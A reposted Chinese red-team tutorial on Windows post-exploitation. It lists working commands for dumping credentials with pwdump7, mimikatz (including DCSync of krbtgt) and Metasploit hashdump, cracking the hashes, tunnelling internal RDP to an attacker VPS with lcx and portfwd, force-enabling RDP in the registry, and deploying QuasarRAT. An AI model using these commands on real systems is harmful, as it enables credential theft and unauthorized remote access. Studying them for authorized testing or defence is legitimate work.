红队技能:Hash读取与端口转发

  • A+
所属分类:安全文章

hw结束了,各位师傅回回神,请持续性充电

红队技能:Hash读取与端口转发

以下转载自:安全鸭


Hash读取

在提权成功拿到system权限之后,下一步就应该为内网渗透做准备。其中很重要的一步就是读取设备本地的hash值。工具读取hash的本质都是利用system权限去读取Windows的SAM文件。在Windows2012版本以下,还可以通过工具直接去读取内存里面的明文密码,Windows 2012之后不能再读内存中的明文,只能用mimiakatz等工具读取hash值然后进行破解。



一、使用pwdump7获取hash

pwdump7是一款本地hash读取工具,需要系统权限运行,直接在CMD命令窗口运行即可。测试win7、Win03、window08 均可读取hash值:

Win7
红队技能:Hash读取与端口转发

Windows2008
红队技能:Hash读取与端口转发
Windows2003:
红队技能:Hash读取与端口转发

拿到hash直接破解:

红队技能:Hash读取与端口转发



二、mimikatz抓取hash


mimikatz在内网的作用远不止于hash读取,域中的黄金、白银票据伪造,权限维持都可以通过它完成等。这里只介绍他的hash读取功能:
项目地址:https://github.com/gentilkiwi/mimikatz/releases

mimikatz需要高权限运行才能发挥,至少是administrator权限 ,抓取密码的命令需要system权限


1.抓取密码需要先进行提权

#提升权限(从administrator提升到system)privilege::debug

2.抓取hash

#获取当前在线用户的明文密码(需要高权限运行)sekurlsa::logonpasswords#获取当前此计算机存在过用户的NTLMHASH  lsadump::lsa /patch

红队技能:Hash读取与端口转发


3.mimikatz其他命令

#导出所有用户口令 使用Volue Shadow Copy获得SYSTEM、SAM备份lsadump::sam SYSTEM.hiv #通过内存文件获取口令sekurlsa::minidump lsass.dmpsekurlsa::logonPasswords full#拉取 rd.adsecurity.org 域中的 KRBTGT 用户帐户的密码数据lsadump::dcsync /domain:rd.adsecurity.org /user:krbtgt#拉取 lab.adsecurity.org 域中 ADSDC03 域控制器的计算机帐户的密码数据lsadump::dcsync /domain:lab.adsecurity.org /user:adsdc03$


4.pass.exe读取明文密码

红队技能:Hash读取与端口转发


window2008用getpassword.exe

红队技能:Hash读取与端口转发



三、MSF抓取hash

MSF在win7以下系统可以直接抓取hash,07以上要绕过uac才能进行抓取,抓取hash需要管理员权限。

1.hashdump抓取hash并破解

红队技能:Hash读取与端口转发

将得到的hash值复制hash到新文件利用john工具进行破解:

红队技能:Hash读取与端口转发

john a.hash# 破解hash

红队技能:Hash读取与端口转发


2.smart-hashdump模块

use windows/gather/smart_hashdumpset session xrun

红队技能:Hash读取与端口转发


3.MSF+mimikatz

提权成功后执行:
#查看权限getuid#尝试获取system权限,一般都是失败,可利用溢出漏洞进行提权getsystem#加载mimiakatzload mimikatz#帮助help mimikatz#随便输入一个a模块让他报错会显示所有可用模块mimikatz_command -f a::  #查看指定模块使用方法 mimikatz_command -f hash::
①抓取系统hash值
msv




②抓取系统票据
kerberos

红队技能:Hash读取与端口转发

③获取系统账号信息
wdigest

红队技能:Hash读取与端口转发

④抓取hash
mimikatz_command -f samdump::hashes

红队技能:Hash读取与端口转发

⑤查看系统进程
mimikatz_command -f handle::list

红队技能:Hash读取与端口转发




端口转发


端口转发是转发一个网络端口从一个网络节点到另一个网络节点的行为,拿到公网shell和内网shell之后,无法直接接入目标内网,需要进行端口转发将内网的端口转发到我们的网络环境可以接入的跳板机上面从而进行连接,常见的端口转发方式有很多,例如lcx工具转发,nc反弹,socket代理, ssh隧道代理转发等等,这里暂时只对LCX工具进行介绍,其他方式后续陆续讲解。LCX端口转发步骤如下:


LCX端口转发


1.本地监听

实战情况下这里的IP应该是vps主机执行此命令,VPS主机将监听接收到的1111端口转发到本地11122端口上
lcx.exe -listen 1111 11122# 端口1111是目标主机连接本地的端口# 端口11122是将接收到的服务器内容转发端口

2.端口转发

在目标内网设备执行此命令。将目标的3389端口转发到VPS设备192.168.1.4的1111端口上
lcx.exe -slave 192.168.1.4 1111 127.0.0.1 3389

红队技能:Hash读取与端口转发


3.成功连接

红队技能:Hash读取与端口转发


4.远程连接

我们已经将目标内网的3389转口转发到192.168.1.4的11122端口上,此时只需要Mstsc 192.168.1.4:11122即可连接上内网主机:

红队技能:Hash读取与端口转发




MSF端口转发

项目地址:https://www.ngrok.cc/

注册ngrock账号,启动转发。ngrock使用方法:MSF配合Ngrock穿透内网


1.建立会话。测试net service权限也可以转发端口

红队技能:Hash读取与端口转发


2.端口转发

portfwd add -l 1133 -p 3389 -r 127.0.0.1#将目标3389转发到本地的1133端口

红队技能:Hash读取与端口转发


3.远程连接

rdesktop 127.0.0.1:1133

红队技能:Hash读取与端口转发




其他


在远程连接时总会遇见不可描述的各种疑难杂症,记录如下:


1.服务端口默认被修改
解决办法①:

#查询TermService对应PID和netstat查询的PID对应的端口号tasklist /svcnetstat -ano | findstr PID

红队技能:Hash读取与端口转发

解决办法②:

#读取注册表查询终端端口PortNumber的值REG query HKLMSYSTEMCurrentControlSetControlTerminal" "ServerWinStationsRDP-Tcp /v PortNumber

红队技能:Hash读取与端口转发

备注:0xd3d=hex(3389)


解决办法③:nnmap探测(ms-wbt-server服务)

红队技能:Hash读取与端口转发


2.服务器未开启3389
解决办法:强开3389

#通用开3389:wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1#For Win2003&Win2008:REG ADD HKLMSYSTEMCurrentControlSetControlTerminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f# win2012/win08通用;win7前两条适用。winxp/win03未测验权限需要run as administrator:wmic /namespace:rootcimv2 erminalservices path win32_terminalservicesetting where (__CLASS != "") call setallowtsconnections 1wmic /namespace:rootcimv2 erminalservices path win32_tsgeneralsetting where (TerminalName ='RDP-Tcp') call setuserauthenticationrequired 1reg add "HKLMSYSTEMCurrentControlSetControlTerminal Server" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f


3.服务器网络环境处于内网
解决办法:端口转发


4.防护验证规则/IP或计算机名
解决办法:找IP/计算机名白名单。如果真遇上这种情况又找不着白名单的话,在3389这一块算是交代了,可以换一种思路,上远控:



QuasarRAT远控

Quasar提供高稳定性和简单易用的用户界界面,相对于其他远控工具干净简约且开源。据说基本支持Windows大部分版本。这里仅作简单的使用方法介绍,不到万不得已不建议上远控。
项目地址:https://github.com/quasar/QuasarRAT/release
1.生成payload
红队技能:Hash读取与端口转发


2.开启监听

红队技能:Hash读取与端口转发


3.靶机执行payload,返回会话
需要靶机支持dotnet4.0环境,且使用管理员权限运行payload。

红队技能:Hash读取与端口转发


4.为所欲为



之前分享过的资料:

ctf web/ctf misc 学习资料,私聊公众号发送“ctf学习资料”会自动回复你下载链接;

hw期间分享过溯源思维脑图,私聊公众号发送“获取高清图”会自动回复你下载链接;

hw期间分享的个人收集的子域名字典,私聊公众号发送“获取子域名字典”会自动回复你下载链接;


一如既往的学习,一如既往的整理,一如即往的分享。感谢支持红队技能:Hash读取与端口转发

红队技能:Hash读取与端口转发


红队技能:Hash读取与端口转发

2020hw系列文章

HW攻防演练总结:安全数据分析

红蓝对抗中的近源渗透

红蓝对抗之攻击溯源

渗透测试干货 | 横向渗透的常见方法




扫描关注LemonSec

红队技能:Hash读取与端口转发


红队技能:Hash读取与端口转发

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: